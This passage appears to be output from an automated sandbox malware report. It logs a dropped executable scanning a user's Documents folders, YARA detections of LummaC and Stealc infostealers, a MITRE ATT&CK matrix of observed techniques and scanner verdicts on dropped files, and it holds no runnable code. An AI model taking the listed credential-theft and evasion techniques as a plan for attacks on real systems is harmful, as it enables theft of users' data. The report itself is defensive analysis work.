Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Directory queried: C:\Users\user\Documents

Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Directory queried: number of queries: 2292

Source: Yara match	File source: 00000009.00000003.1993668859.0000000001010000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2017751865.000000000100D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2009268838.0000000001010000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1863927801.0000000001226000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2031020913.0000000001005000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2009379322.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1975746842.0000000001010000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1901487712.0000000001226000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2035495629.000000000100D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1863552145.0000000001226000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1881342956.0000000001226000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1878298115.0000000001226000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2031020913.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1864263167.0000000001226000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1993515475.000000000100D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2008006640.0000000001010000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2050299631.0000000001016000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1895415115.0000000001226000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1975545494.000000000100D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ff3d383111.exe PID: 5960, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ff3d383111.exe PID: 7336, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 67333e07f4.exe PID: 7392, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: ff3d383111.exe PID: 5960, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ff3d383111.exe PID: 7336, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 28.2.6e2c49386e.exe.2d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.0.num.exe.b30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.9c961c26ae.exe.ef0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.6e2c49386e.exe.2d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.num.exe.b30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.0.num.exe.b30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.1928139125.0000000000E9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2235783567.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2098127284.0000000005200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2035432368.0000000000B31000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1886057556.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000000.2019490757.0000000000B31000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2238114633.0000000000EF1000.00000040.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2047550993.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2036279915.0000000000B4E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2049712419.00000000014FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000000.2019585146.0000000000B4E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1926357964.00000000002D1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2136296360.00000000002D1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.2187544933.0000000000B31000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.2187639140.0000000000B4E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2139181992.0000000000D4B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6e2c49386e.exe PID: 1076, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9c961c26ae.exe PID: 7308, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	23 File and Directory Discovery	Remote Services	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	225 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	2 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	12 Process Injection	12 Software Packing	NTDS	951 Security Software Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ykDoK8BtxW.exe	21%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002978001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	45%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	45%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1002978001\num.exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	21%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	0%	URL Reputation	safe
http://crl.microsoft	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://completion.amazon.com/search/complete?q=	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	0%	URL Reputation	safe
https://monitor.firefox.com/breach-details/	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://xhr.spec.whatwg.org/#sync-warning	0%	URL Reputation	safe
https://profiler.firefox.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/addon/	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
https://api.accounts.firefox.com/v1	0%	URL Reputation	safe
http://exslt.org/common	0%	URL Reputation	safe
https://ok.ru/	0%	URL Reputation	safe
https://fpn.firefox.com	0%	URL Reputation	safe
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	0%	URL Reputation	safe
